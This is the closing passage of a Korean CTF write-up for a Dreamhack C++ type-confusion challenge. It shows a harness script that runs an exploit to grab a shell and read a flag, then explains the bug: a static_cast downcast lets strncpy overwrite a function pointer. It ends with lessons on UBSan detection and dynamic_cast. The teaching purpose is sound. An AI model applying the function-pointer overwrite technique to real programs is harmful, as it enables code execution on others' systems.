    echo; echo "✅ PASS  $FLAG"; exit 0
  fi
  echo; echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '${EXPECT:-미지정}')"; exit 1
fi
 
DUMMY='DH{LOCAL_DUMMY_FLAG_1234}'
printf '%s\n' "$DUMMY" > extracted/flag
OUT=$(timeout 60 python3 solve.py 2>&1) || true
echo "$OUT" | tail -6
if printf '%s' "$OUT" | grep -qa "$DUMMY"; then
  echo; echo "✅ LOCAL PASS — 익스가 셸을 잡고 더미 flag 를 읽었다."
  echo "   진짜 flag 는 라이브 서버가 필요하다: ./reproduce.sh <host> <port>"; exit 0
fi
echo; echo "❌ LOCAL FAIL — 셸을 못 잡았다."; exit 1

./reproduce.sh host3.dreamhack.games 18869

reproduce.sh 를 라이브 서버 인자로 돌린 결과 — 익스가 끝까지 돌고 마지막에 PASS 와 flag 가 찍힌다

🛡️ 컴파일러는 이걸 잡을 수 있었나

풀고 나서 궁금했다. 소스가 통째로 있는데, 빌드할 때 이 캐스트를 걸러 낼 방법이 정말 없었을까.

있다. UBSan(UndefinedBehaviorSanitizer)의 vptr 검사가 정확히 이런 다운캐스트를 잡는다. -fsanitize=undefined 로 같은 소스를 다시 빌드하고, 문제의 3번 메뉴까지만 태워 보면 된다.

printf '1\n2\n3\nAAAA\n5\n' > ubsan_in.txt

g++ -fsanitize=undefined -o ubsan_build extracted/cpp_type_confusion.cpp && ./ubsan_build < ubsan_in.txt 2>&1 | grep -vE "^[1-5]\. |^I love"

UBSan 으로 빌드해 실행한 결과 — 소스 114행 static_cast 자리에서 Apple 이 아닌 객체를 다운캐스트했다고 잡아내고 vptr 이 Mango 것이라고 알려 준다

extracted/cpp_type_confusion.cpp:114:29: runtime error: downcast of address 0x5c470d804340 which does not point to an object of type 'Apple'
0x5c470d804340: note: object is of type 'Mango'

줄 번호까지 정확하다. 114행 29열, 바로 그 static_cast 다. 객체의 실제 타입이 Mango 라는 것도, 헥사 덤프에서 어느 8바이트가 vptr 인지도 표시해 준다.

여기서 프로그램이 죽지는 않는다는 점이 오히려 중요하다. UBSan 은 기본 설정에서 경고만 찍고 계속 진행하므로 다음 줄 strncpy 는 그대로 실행된다. 즉 이 코드는 UBSan 을 켜고 한 번만 돌려 봤어도 배포 전에 걸렸을 것이다. 크래시가 나지 않아 테스트를 통과했던 것뿐이다.

정리하면 이 문제는 "탐지가 어려운 취약점"이 아니다. 확인하는 코드(dynamic_cast)를 안 썼고, 확인해 주는 도구(UBSan)를 안 켰을 뿐이다.

📝 결론

타입 컨퓨전은 "얼마나 썼나"가 아니라 "무엇에다 썼나"의 버그다.

이 문제에서 strncpy 는 자기 몫인 8바이트를 정확히 8바이트만 썼다. 넘친 것도, 해제된 메모리를 다시 만진 것도 없다. 그런데도 함수 포인터가 바뀌었다. 경계 검사에 기대는 보호 기법 — canary, NX, RELRO — 이 셋 다 이 공격에 아무 일도 하지 않는 이유다. 셋 다 다른 종류의 사고를 막는 장치다.

static_cast 는 다운캐스트에서 아무것도 보장하지 않는다.

기계어로 보면 정말 mov 두 줄이다. 상속 관계가 성립하는지만 컴파일 시점에 보고, 그 객체가 실제로 그 타입인지는 확인하지 않는다. 확인하는 건 dynamic_cast 이고, 이 문제도 그걸 썼다면 nullptr 이 돌아와 성립하지 않았다. 다운캐스트가 꼭 필요하면 dynamic_cast 를 쓰거나, 애초에 타입 태그를 객체에 들고 다니면서 분기하는 편이 낫다.

같은 이름의 멤버가 클래스마다 다른 타입인 설계는 그 자체로 위험 신호다.

grep 한 번에 char description[8] 과 void (*description)(void) 가 나란히 나온 순간, 이 문제의 절반은 끝나 있었다. 상속 계층에서 같은 오프셋에 서로 다른 의미의 데이터가 놓이면, 캐스트 실수 하나가 곧바로 임의 코드 실행이 된다. 특히 함수 포인터 멤버는 그 자리를 덮는 순간 곧 제어 흐름이라, 다른 어떤 멤버보다 위험하다.

strncpy 는 "안전한 strcpy" 가 아니다.

여기서는 남는 자리를 0 으로 채워 주는 성질이 공격자 쪽으로 붙었다. 3바이트만 보내도 포인터 8바이트가 온전히 완성된다. NUL 종료를 보장하지 않는 것으로 유명하지만, 반대로 필요 이상으로 0 을 쓴다는 점도 같이 기억해 둘 만하다.

크래시가 안 난다고 안전한 게 아니다.

이 프로그램은 잘못된 캐스트를 하고도 멀쩡히 돌아간다. 메뉴도 정상이고 종료 코드도 0 이다. 그래서 일반적인 테스트로는 절대 안 걸린다. -fsanitize=undefined 를 붙여 딱 한 번 돌리는 것만으로 소스 114행이 지목됐다는 게 그 대비를 잘 보여 준다. 조용히 도는 UB 는 도구를 켜야만 보인다.

마지막으로, 이 문제를 방어 관점에서 한 줄로 줄이면 이렇다. 캐스트가 아니라 레이아웃을 의심하라. 두 클래스가 같은 부모를 상속하는 순간, 그 둘의 첫 멤버는 같은 주소에 놓인다.